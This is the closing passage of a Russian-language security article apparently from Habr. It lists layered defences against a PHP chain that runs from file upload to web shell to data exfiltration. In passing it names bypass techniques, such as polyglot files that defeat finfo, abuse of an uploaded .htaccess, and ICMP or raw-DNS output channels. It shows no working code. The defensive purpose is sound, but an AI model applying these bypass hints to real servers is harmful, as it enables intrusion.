AllowOverride None закрывает трюк с загрузкой своего .htaccess из этапа 1. Растровые картинки пересохраняются, ре-энкод уничтожает любой payload в байтах. SVG либо запрещается, либо чистится санитайзером.
Уровень 2. Сузить поверхность
Белый список расширений вместо черного, проверка типа через finfo по байтам, генерация имени на сервере. finfo обходится полиглотом с валидными magic bytes, поэтому это не граница, а фильтр от неподготовленных атак. По выполнению — ffi.enable=false, незагруженные лишние расширения, disable_functions и disable_classes. WAF с инспекцией запросов и ответов блокирует массовые инструменты и поднимает стоимость ручной работы. Весь уровень 2 работает как сетка под основными контролями, а не как финальная защита.
Уровень 3. Ограничить урон и увидеть
Этот уровень исходит из того, что шелл уже исполняется. PHP-FPM с непривилегированным пользователем и отдельным пулом на каждый сайт, CapabilityBoundingSet=-CAP_NET_RAW в systemd-юните убирает возможность создать raw-сокет и закрывает ICMP и raw-DNS из этапа 3, egress-фильтр по uid режет исходящие соединения. SELinux или AppArmor блокируют запись вне разрешенных каталогов и исходящие соединения на уровне системных вызовов, и это уже граница, которую одним PHP-эксплоитом не пройти.
Мониторинг целостности через auditd или AIDE поднимает тревогу на новый .php в каталоге загрузок, php-malware-finder ловит готовые шеллы по YARA-сигнатурам.
Вывод
Три этапа, которые мы разобрали в статье, — не три независимые уязвимости, а одна цепочка, где нужно загрузить файл мимо фильтров, выполнить команду мимо disable_functions и вывести результат мимо WAF. Каждый этап опирается на предыдущий, и разрыв любого звена останавливает атаку.
Самое дешевое решение по-прежнему структурное: файл вне веб-рута, без права на исполнение, закрывает большую часть первого этапа разом. Дальше каждый следующий слой повышает стоимость, а не дает абсолютную гарантию, и это нормально. Задача не построить непробиваемую стену, а сделать так, чтобы атака требовала значительных ресурсов, оставляла следы и не давала RCE с одного удачного запроса.
Никита Проказов, специалист по исследованию веб-угроз команды BI.ZONE WAF
Источник: habr.com